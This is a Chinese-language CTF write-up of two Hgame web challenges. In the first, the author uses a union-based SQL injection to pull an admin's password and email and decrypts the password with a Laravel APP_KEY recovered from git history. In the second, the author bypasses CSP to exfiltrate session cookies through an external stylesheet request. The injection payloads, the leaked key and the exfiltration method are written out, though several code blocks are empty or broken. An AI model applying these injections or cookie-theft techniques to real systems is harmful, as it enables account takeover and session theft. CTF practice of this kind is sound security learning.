Hgame - week4

【Hgame - week4】Write up - Moesang

Web

happyPHP

题目地址

- F12发现一个链接`https://github.com/Lou00/laravel`
- 看起来是这个的源码但是隐藏了flag
- 随便注册一个号，发现显示`hello xxx`其中xxx是用户名
- 然后试着在用户名上进行sql注入
- 随手`or 1=1`，发现登录后提示`hello Admin`
- 可知管理员用户名为`Admin`
- 又试了几个注入，可以构造如下用户名来获得`Admin`的密码字段

```
1' union select password from users where name = 'Admin' #'
```

- 得到

~~~
```

* 有那么点眼熟，尝试`base64`解码， 得到
~~~

{
“iv”:”rnVrqfCvfJgnvSTi9z7KLw==”,
“value”:”EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=”,
“mac”:”56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af”
}

```


* 查资料得，这是Laravel框架的cookie形式，解密需要`APP_KEY`
* 然鹅这并不是代码审计...等等，代码?
* 翻开刚刚的github，发现里面并没有带`APP_KEY`的配置文件。
* emmmmmm....
* 查看`Committed`记录，有了，被删了!
* 里面的`APP_KEY`为
```

base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

```

* emmmm，试着`base64`解码，发现是一段不能正常显示的字符
* 不知道什么情况，但是需要的素材有了，试着解密一下
* 发现不对，`iv`这个字段值居然也`base64`加密了
* 于是最终构造如下代码来解密
```

```
* 运行后得到字符串
```

9pqfPIer0Ir9UUfR

```

* 看来这是密码了...
* `Admin`， 登录!
* 等等怎么是邮箱登录 (
* 被迫重新注入
* `1' union select email from users where name = 'Admin' #'`
* 得到Admin邮箱
```

admin@hgame.com

flag :hgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}

```
* Flag到手!
* P.S.
* 这题一开始Lou00学长没有关报错，导致<del>我太菜</del>输入了错误的sql然后直接弹出了对应Model，里面还有Flag
* 愉快地提交的时候却发现已经有好几个人提交了 (
* 果然生产环境关报错很重要啊【笑】


--------------
###HappyXss
[题目地址](http://118.25.18.223:7000/index.php)

* 说是同上周，但是难度增加
* 那么就是说需要`反弹cookie`来得到`flag`
* 试了试上周的引入js的方式
* ？？？？
* 引入地址怎么变成了
```

http://118.25.18.223:7000/http://xsspt.com/xxxxxxx

```
* 后来了解到这是`CSP`的锅
```

default-src ‘self’ ‘unsafe-inl…e’ ‘unsafe-eval’; style-src *

```
* 这次的`CSP`是这样的
* 也就是说js是不能引用了，但是可以使用eval，以及内联标签的方式
* 重点还在`style-src *`上
* 这意味着可以引用外部样式来传递cookie
* 那么不能用js的方式，得用`http://url/?cookie=xxx`
* 这样的GET来传递`Cookie`了
* 用js来获得cookie然后拼接进内联标签来传递Cookie
* 初步的payload是这样的
```

```
* 看了眼接收到的cookie，发现不对劲，怎么只有一个`PHPSESSION`
* 后来发现`document.cookie`这样出来的字符串如果有`多个cookie`则会用`;`来间隔...
* emmmmm
* `base64`一把梭
* 得到
```

UEhQU0VTU0lEPW00OXM4NnB0cW5nampwYjAyamRiZWlndG1wOyBGbGFnPWhnYW1le1hzc18xc19SZUBsbFlfSGFhYWFhYXB

```
* 解密后
```

PHPSESSID=m49s86ptqngjjpb02jdbeigtmp; Flag=hgame{Xss_1s_Re@llY_Haaaaaappy!!!}
“`

* Flag到手w